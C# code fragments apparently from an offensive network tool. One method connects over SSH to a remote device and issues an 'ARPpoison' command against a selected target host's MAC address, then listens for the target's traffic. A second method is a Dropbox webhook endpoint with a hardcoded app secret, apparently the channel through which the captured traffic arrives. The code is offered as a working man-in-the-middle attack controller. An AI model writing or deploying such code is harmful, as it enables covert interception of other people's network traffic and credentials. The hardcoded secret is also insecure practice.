public string StartPoison()
{
using (SshClient client = new SshClient(this.connectionInfo))
{
try
{
client.Connect();
var result = client.CreateCommand(String.Format("EniacSpi ARPpoison {0} {1}", this.SelectedTargetHost.MAC, this.SelectedNetwork.MAC)).Execute();
client.Disconnect();
}
catch (SocketException ex)
{
return($"{ex.HResult}: Target machine actively refused SSH connection");
}
catch (SshAuthenticationException ex)
{
return($"{ex.HResult}: Failed to authenticate SSH request");
}
catch (Exception ex)
{
return($"{ex.HResult}: Failed to start Poison attack");
}
}
DropboxEvents.OnDropboxChanged(TargetHostTrafficReceived);
return("Success");
}
public async Task <ActionResult> Dropbox()
{
// Get the request signature
var signatureHeader = Request.Headers.GetValues("X-Dropbox-Signature");
if (signatureHeader == null || !signatureHeader.Any())
{
return(new HttpStatusCodeResult(HttpStatusCode.BadRequest));
}
// Get the signature value
string signature = signatureHeader.FirstOrDefault();
// Extract the raw body of the request
string body = null;
using (StreamReader reader = new StreamReader(Request.InputStream))
{
body = await reader.ReadToEndAsync();
}
// Check that the signature is good
string appSecret = "6p8fg1v2ud59n9t";
using (HMACSHA256 hmac = new HMACSHA256(Encoding.UTF8.GetBytes(appSecret)))
{
if (!VerifySha256Hash(hmac, body, signature))
{
return(new HttpStatusCodeResult(HttpStatusCode.BadRequest));
}
}
// Do your thing here... e.g. store it in a queue to process later
DropboxEvents.DropboxChanged();
// Return A-OK
return(new HttpStatusCodeResult(HttpStatusCode.OK));
}
